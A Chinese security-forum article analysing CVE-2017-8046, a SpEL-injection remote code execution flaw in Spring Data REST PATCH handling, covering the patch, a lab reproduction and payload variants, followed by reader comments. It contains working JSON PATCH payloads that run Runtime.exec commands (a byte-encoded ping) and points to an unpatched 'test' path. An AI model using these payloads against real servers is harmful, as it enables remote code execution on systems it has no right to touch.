Spring Data Rest服务器PATCH请求远程代码执行漏洞补充分析—【CVE-2017-8046】

xxlegend / 2017-09-29 16:38:00 / 浏览数 4830 技术文章 技术文章 顶(0) 踩(0)

1 综述

近日,Pivotal官方发布通告表示Spring-data-rest服务器在处理PATCH请求时存在一个远程代码执行漏洞(CVE-2017-8046)。攻击者可以构造恶意的PATCH请求并发送

相关ithth:

https://pivotal.io/security/cve-2017-8046

受影响的版本

- Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
- Spring Boot version < 2.0.0M4
- Spring Data release trains < Kay-RC3

不受影响的版本

- Spring Data REST 2.5.12, 2.6.7, 3.0RC3
- Spring Boot 2.0.0.M4
- Spring Data release train Kay-RC3

解决方案

官方已经发布了新版本修复了该漏洞,受影响的用户请尽快升级至最新版本来防护该漏洞。

参考链接

https://projects.spring.io/spring-data-rest/ https://projects.spring.io/spring-boot/

2 补丁分析:

从官方的描述来看就是就是Spring-data-rest服务处理PATCH请求不当,导致任意表达式执行从而导致的RCE。 首先来看下补丁,主要是evaluateValueFromTarget添加了一个校验方法verifyPath,对于不合规格的path直接报异常退出,主要是property.from(pathSource,type)实现

```
return value instanceof LateObjectEvaluator
                       ? ((LateObjectEvaluator) value).evaluate(spelExpression.getValueType(targetObject)) : value;
       verifyPath(entityType);
       return evaluate(spelExpression.getValueType(targetObject));
}
protected final <T> Object evaluate(Class<T> type) {
      return value instanceof LateObjectEvaluator ? ((LateObjectEvaluator) value).evaluate(type) : value;
* Verifies that the current path is available on the given type.
* @param type must not be {@literal null}.
* @return the {@link PropertyPath} representing the path. Empty if the path only consists of index lookups or append
          characters.
*/
protected final Optional<PropertyPath> verifyPath(Class<?> type) {
       String pathSource = Arrays.stream(path.split("/"))//
                       .filter(it -> !it.matches("\\d")) // no digits
                        .filter(it -> !it.equals("-")) // no "last element"s
                        .filter(it -> !it.isEmpty()) //
                        .collect(Collectors.joining("."));
       if (pathSource.isEmpty()) {
               return Optional.empty();
       try {
               return Optional.of(PropertyPath.from(pathSource, type));
       } catch (PropertyReferenceException o_0) {
               throw new PatchException(String.format(INVALID_PATH_REFERENCE, pathSource, type, path), o_0);
```

3 复现:

直接拉取https://github.com/spring-projects/spring-boot/tree/master/spring-boot-samples,找到spring-rest-data这个项目,直接用IDEA一步步只

```
<dependency>
  <groupId>org.springframework.data</groupId>
  <artifactId>spring-data-rest-webmvc</artifactId>
  <version>3.0.0.RC2</version>
</dependency>
```

从项目test目录找到相关请求形式,发送http://127.0.0.1:8080/api/cities/1即可看到回显表明服务正常启动。 http://192.168.3.103:8080/api/cities/2 PATCH Params Send Save Headers (1) Authorization Body • Pre-request Script Tests binary form-data x-www-form-urlencoded [[{"op":<mark>"add"</mark>,"path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 49, 54, 56, 46, 51, 46, 49, 48, 54}))/xxlegend" Status: 400 Bad Request Time: 57 ms Body Cookies Headers (3) Tests Pretty Raw Preview "cause":{"cause":null,"message":"EL1010E: Property or field 'xxlegend' cannot be set on object of type 'java.lang.ProcessImpl' - maybe not public?"},"message":"Could not read an object of type class sample.data.rest.domain.City from the request!; nested exception is org.springframework.expression.spel.SpelEvaluationException: EL1010E: Property or field 'xxlegend' cannot be set on object of type 'java.lang.ProcessImpl' - maybe not public?"} 这个poc的几个关键点在于: Content-Type: application/json-patch+json, path路径一定得用斜杠/隔开,至于为什么,后续会讲到。op支持的操作符很多,包括test, add, replace等都可以触发,op不同,pathF [{"op":"add","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50 执行ping 192.168.3.106 3 分析: 漏洞的触发过程详细分析见文档:https://mp.weixin.qq.com/s/uTiWDsPKEjTkN6z9QNLtSA ,这里已经描述的比较清楚,在这里不再重述,这篇文档后续的分析主要是对poc的一些解读。 随便拿一个以前spring表达式注入的poc作为path的参数值,如poc: [{"op":"add","path":"new java.lang.String(new byte[]{70, 66, 66, 50, 48, 52, 65, 52, 48, 54, 49, 70, 70, 66, 68, 52, 49, 50, 5 }] 这个请求的特别之处在于path字段值后边没有了斜杠。 会报如下错误: Caused by: org.springframework.expression.spel.SpelEvaluationException: EL1032E: setValue(ExpressionState, Object) not support at org.springframework.expression.spel.ast.SpelNodeImpl.setValue(SpelNodeImpl.java:148) ~[spring-expression-4.3.7.RELEASE.] at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:416) ~[spring-expression-4.3.7. at org.springframework.data.rest.webmvc.json.patch.PatchOperation.addValue(PatchOperation.java:148) ~[spring-data-rest-webm at org.springframework.data.rest.webmvc.json.patch.AddOperation.perform(AddOperation.java:48) ~[spring-data-rest-webmvc-3.0 at org.springframework.data.rest.webmvc.json.patch.Patch.apply(Patch.java:64) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na] at org.springframework.data.rest.webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.java:91) ~[spring-data-rest-webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.java:91) ~[spring-data-rest-webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.java:91) ~[spring-data-rest-webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.applyPatchHandler.applyPatch(JsonPatchHandler.applyPatchHandler.applyPatchHandler.applyPatch(JsonPatchHandler.applyPatchHandler.applyPatch(JsonPatchHandler.applyPatchHandler.applyPatchHandler.applyPatchHandler.applyPatchHandler.applyPatchHandler.applyPatchHandler.applyPatchHandler.applyPatchHandler.applyPatchHandler.applyPatchHandler.applyPatchHandler.applyPatchHandler.applyPatchHandler.applyPatchHandl at org.springframework.data.rest.webmvc.config.JsonPatchHandler.apply(JsonPatchHandler.java:83) ~[spring-data-rest-webmvc-3 $\verb|at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.readPatch(PersistentEntityResourceHandlerMethodArgumentResourceHandlerMethodArgum$ 说明path参数确实被污染,此处存在表达式注入漏洞,虽然已经进入表达式的执行流程,但是这里却报错退出。离RCE还差一步,查看org.springframework.expression.sp @Override public void setValue(ExpressionState expressionState, Object newValue) throws EvaluationException {

```
这个方法直接抛出异常,那看来poc离执行还有一段距离。直接调出setValue的实现,发现有五个地方重写了该方法。SpelNodeImpl的setValue也在其中,但是它是直接抓
                          @Override
                          public void setValue(Object rootObject, Object value) throws EvaluationException {
                                            this. ast. setValue (new ExpressionState (getEvaluationContext (), toTypedValue (rootObject), this. configuration), valu
                                                                                                                                                                                                                                                                                                                  Choose Implementation of SpelNodeImpl.setValue(E
                         @Override
                                                                                                                          C Indexer (org. springframework. expression. spel. ast)
                          public void setValue
                                          Assert. notNull(co PropertyOrFieldReference (org. springframework. expression. spel. ast)
                                            this. ast. setValue ( SpelNodeImpl (org. springframework. expression. spel. ast)
                                                                                                                           😉 VariableReference (org. springframework.expression.spel.ast)
查看相关文档得知 Compound Expression 是复杂表达式,用.连接起来的都算。
Indexer一般是这么表示test[xxlegend],那么可以把poc改成
[{"op":"add","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50
}]
这也是可以运行的。再看调用栈也是符合我们刚才理解到
SpelExpression.setValue--■
CompoundExpression.setValue--■
                      CompoundExpression.getValueRef--■
                                            Indexer.getValueRef--■
                                                                   PropertyOrFieldReference.getValueInternal--■
                                                                                         PropertyOrFieldReference.readProperty
Caused by: org.springframework.expression.spel.SpelEvaluationException: EL1008E: Property or field 'xxlegend' cannot be found
            \verb|at org.springframework.expression.spel.ast.PropertyOrFieldReference.readProperty(PropertyOrFieldReference.java: 224)| \\ \sim (springframework.expression.spel.ast.PropertyOrFieldReference.readPropertyOrFieldReference.java: 224)| \\ \sim (springframework.expression.spel.ast.PropertyOrFieldReference.readPropertyOrFieldReference.java: 224)| \\ \sim (springframework.expression.spel.ast.PropertyOrFieldReference.readPropertyOrFieldReference.java: 224)| \\ \sim (springframework.expression.spel.ast.PropertyOrFieldReference.java: 224)| \\ \sim (springframework.expression.spel.ast.Pr
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            at org.springframework.expression.spel.ast.CompoundExpression.getValueRef(CompoundExpression.java:66) ~[spring-expression-4
            at org.springframework.expression.spel.ast.CompoundExpression.setValue(CompoundExpression.java:95) ~[spring-expression-4.3.
            at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:416) ~[spring-expression-4.3.7.
            \verb|at org.springframework.data.rest.webmvc.json.patch.PatchOperation.addValue(PatchOperation.java:148)| \\ \sim (spring-data-rest-webmvc.json.patch.PatchOperation.addValue(PatchOperation.java:148)| \\ \sim (spring-data-rest-webmvc.json.patch.PatchOperation.patch.PatchOperation.patch.PatchOperation.patch.PatchOperation.patch.PatchOperation.patch.PatchOperation.patch.PatchOperation.patch.PatchOperation.patch.PatchOperation.patch.Pa
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前面都是讲path参数,也就是表达式的写法。在这个poc中还用到op参数,op表示要执行的动作,在代码中定义了add,copy,from,move,replace,test这么多操作值,add,
[{"op":"test","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 5
} ]
很明显这个poc的path参数值无线跟/
 [ ]来分割参数。原因就是它调用的是SpelExpression.getValue,而非test情况下的poc最终调用的都是SpelExpression.setValue,通过setValue调用getValueRef来达到录
 下面看看test的调用栈:

    evaluationContext = null

                                                                                                                                                                                                                                                                                                                                                                                                  finterpretedCount = 0
                                                                                                                                                                                                                                                                                                                                                                                        ► & this.configuration = {SpelParserConfiguration@8455}
```

这个点官方也没修,但是有个限制:

```
@Override
<T> void perform(Object target, Class<T> type) {
   Object expected = normalizeIfNumber(evaluateValueFromTarget(target, type));
   Object actual = normalizeIfNumber(getValueFromTarget(target));
   if (!ObjectUtils.nullSafeEquals(expected, actual)) {
      throw new PatchException("Test against path '" + path + "' failed.");
   }
}
```

evaluateValueFromTarget运行在前,会报错退出,导致getValueFromTarget不会被执行,怎么绕过去呢?值得思考。

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1. 5 条回复



ftkahzmodan 2017-09-30 03:42:19

表哥强无敌!!

0 回复Ta



cryin 2017-09-30 03:56:27

赞廖神~

0 回复Ta



hades 2017-09-30 04:24:59



0 回复Ta

xxlegend 2017-09-30 05:33:21



<u>xiao_c</u> 2017-11-23 12:57:32

从代码层面可以解释为什么payload需要加正斜杠:

path参数经过pathToSpEL和pathNodesToSpEL处理后字符串中的斜杠被替换成了点,即原payload

"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(newbyte[] {47,65,■■}))/[any string]" 经过处理后变成了

"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(newbyte[] {47,65,■■})).[any string]" 经过词法分析和语法分析后抽象语法数ast对象中的children数组就对应了经过处理后的payload按点分割的各个部分,即

T(java.lang.Runtime)

getRuntime()

exec(new java.lang.String(newbyte[] {47,65,■■}))

[any string]

进入payload的执行流程后在getValueRef方法里有一个很有意思的循环,也是为什么payload需要加斜杠的原因之一

看for循环,从1开始,不是0,跳过了typeReference,对应的是T(java.lang.Runtime),执行到cc-1。cc是上面的children数组的长度,所以在有斜杠时cc=4,for循环3 回复Ta

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